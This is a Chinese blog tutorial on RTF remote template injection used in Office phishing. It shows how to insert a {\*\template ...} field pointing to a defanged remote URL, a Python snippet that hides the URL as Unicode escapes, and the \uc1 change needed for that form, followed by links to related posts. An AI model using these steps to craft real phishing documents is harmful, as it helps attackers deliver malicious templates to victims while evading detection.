Office RTF远程模板注入
远程模板插入
ProofPoin最近写了一篇文章,报告中提到近年来RTF模板注入进行office钓鱼攻击的数量增加。之前还没怎么了解过RTF模板注入的,现在和小编一起去看看吧(笑hhh)。
相对DOC模板注入的创建而言比较简单,创建一个rtf文档,使用office word进行编辑,随便写个内容。

保存之后会发现文档从原来的几个字节大小变为几十KB。这是因为里面添加了大量RTF文档格式属性字段值。

那如何进行模板注入呢,RTF文档支持一个相关的控制字段:*\template,该字段值需要跟着使用的模板名,整个属性字段需要使用大括号括起来。

然后直接使用文本编辑器打开之前保存的rtf文档。进行远程模板注入的话,插入的内容形如:{\*\template hxxp://xx.xx.xx.xx:port/xxx.xxx}。至于插入位置,经过测试,放在大括号后面,前面,或是之间,都可以获取远程模板。例如:

插入字段并保存修改,再次使用Word打开,成功实现了模板注入。


Unicode形式URL模板插入
更进一步,*\template字段参数值可以为Unicode,可以更好隐藏自身。关于如何将Ascii转为Unicode表示形式,参考[3]文章如下。

Python代码表示如下:
def trans(url):
return ''.join(['\\u'+str(-(0xffff+1-ord(c)))+'?' for c in url])
那如何自制一个RTF Unicode模板注入呢?在原本基础上直接修改\*\template的属性值没用。而按proofpoint文章中所说,涉及到\*\wgrffmtfilter字段,然而查看相应文档,并且经过一番测试,和该字段实际并无关系。通过比对一些网络上的相关技术利用样本后发现,该方式应是和RTF文档首部的\uc字段有关。
\ucN:指定当前大括号中\uN表示的UNICODE字符对应的字节数。

现在只需要修改\uc为\uc1(在中文环境下默认保存为2),然后使用和第一节中相同方式将\*\template字段插入文档,可成功实现。

参考:
[1] https://www.proofpoint.com/us/blog/threat-insight/injection-new-black-novel-rtf-template-inject-technique-poised-widespread
[2] http://www.biblioscape.com/rtf15_spec.htm
[3] https://ciberseguridad.blog/decodificando-ficheros-rtf-maliciosos/
Office RTF远程模板注入的更多相关文章
- Word模板注入攻击
Word模板注入攻击 0x00 工具准备 phishery:https://github.com/ryhanson/phishery/releases office版本:office 2010 0x0 ...
- 威胁预警|Solr velocity模板注入远程命令执行已加入watchbog武器库,漏洞修补时间窗口越来越短
概述 近日,阿里云安全团队监测到挖矿团伙watchbog更新了其使用的武器库,增加了最新Solr Velocity 模板注入远程命令执行漏洞的攻击方式,攻击成功后会下载门罗币挖矿程序进行牟利.建议用户 ...
- python 模板注入
今天学习了python的模板注入,这里自己搭建环境测试以下,参考文章:http://www.freebuf.com/articles/web/136118.html web 程序包括两个文件: fla ...
- Confluence未授权模板注入/代码执行(CVE-2019-3396)
--- title: Confluence未授权模板注入/代码执行(CVE-2019-3396) tags: [poc,cve] num :g7y12 --- # 简介 --- Confluence是 ...
- Apache Solr Velocity模板注入RCE漏洞复现
Apache Solr Velocity模板注入RCE漏洞复现 一.Apache Solr介绍 Solr是一个独立的企业级搜索应用服务器,它对外提供类似于web-service的API接口,用户可以通 ...
- CVE-2019-3396:Confluence未授权模板注入_代码执行
title: Confluence未授权模板注入/代码执行(CVE-2019-3396) tags: [poc,cve] 简介 Confluence是一个专业的企业知识管理与协同软件,也可以用于构建企 ...
- SSTI-服务端模板注入漏洞
原理: 服务端模板注入是由于服务端接收了用户的输入,将其作为 Web 应用模板内容的一部分,在进行目标编译渲染的过程中,执行了用户插入的恶意内容,因而导致了敏感信息泄露.代码执行.GetShell ...
- SSTI-服务端模板注入
SSTI-服务端模板注入漏洞 原理: 服务端模板注入是由于服务端接收了用户的输入,将其作为 Web 应用模板内容的一部分,在进行目标编译渲染的过程中,执行了用户插入的恶意内容,因而导致了敏感信息泄露. ...
- XFF SSTI 模板注入 [BJDCTF2020]The mystery of ip
转自https://www.cnblogs.com/wangtanzhi/p/12328083.html SSTI模板注入:之前也写过:https://www.cnblogs.com/wangtanz ...
随机推荐
- 信息收集&Fuzz
本文译自https://0xjoyghosh.medium.com/information-gathering-scanning-for-sensitive-information-reloaded- ...
- Keil MDK STM32系列(七) STM32F4基于HAL的PWM和定时器
Keil MDK STM32系列 Keil MDK STM32系列(一) 基于标准外设库SPL的STM32F103开发 Keil MDK STM32系列(二) 基于标准外设库SPL的STM32F401 ...
- 使用 Json Schema 定义 API
本文地址:使用 Json Schema 定义 API 前面我们介绍了 Json Schema 的基本内容,这篇文章我们结合 jsonschema2pojo 工具深入分析如何使用 Json Schema ...
- Termux搭建hexo博客并部署到GitHub
Termux搭建hexo博客并部署到GitHub 安装 termux-change-repo apt update apt install git && nodejs &&am ...
- [CAN波形分析] 一次CAN波形分析之旅
Prepare CAN通信协议使用了有一段时间了,但都是基于软件层面的使用,对于其波形不是很了解,正好这段时间比较闲,是时候补补硬知识. 开始之前,先介绍一下设备: 咸鱼淘来的古董级别示波器GDS-2 ...
- vue操作dom元素
传统的方法获取dom元素操作dom,通常是获取类名,id,属性等来获取到dom,但在vue中获取组件dom的话会有问题,请看下面代码: 控制台打印出来的结果如下,你会发现正常标签可以正常显示,但是组件 ...
- Go 结构体方法
#### Go 结构体方法本来今天有些事情忙的不准备更新内容了,后来提前完成了, 所以还是要更新了; 毕竟坚持本就是一件不容易的事情!加油,相信不管是大家还是我,都有一些事情想要做,那就坚持吧,剩下的 ...
- Android开发-数据库代码编写
数据库代码主要是查找 package com.example.Utils.database; import android.annotation.SuppressLint; import androi ...
- Mac iterm2 配色以及终端大小写敏感解决方案
iterm2是mac下非常好用的一款终端.但默认的配色实在不好用,经过一翻搜索终于找到了比较满意的,以下贴出博主的解决方案 配色 首先修改 ~/.bash_profile 加入一下代码 #enable ...
- Hadoop支持LZO
0. 环境准备 maven(下载安装,配置环境变量,修改sitting.xml加阿里云镜像)gcc-c++zlib-develautoconfautomakelibtool通过yum安装即可 yum ...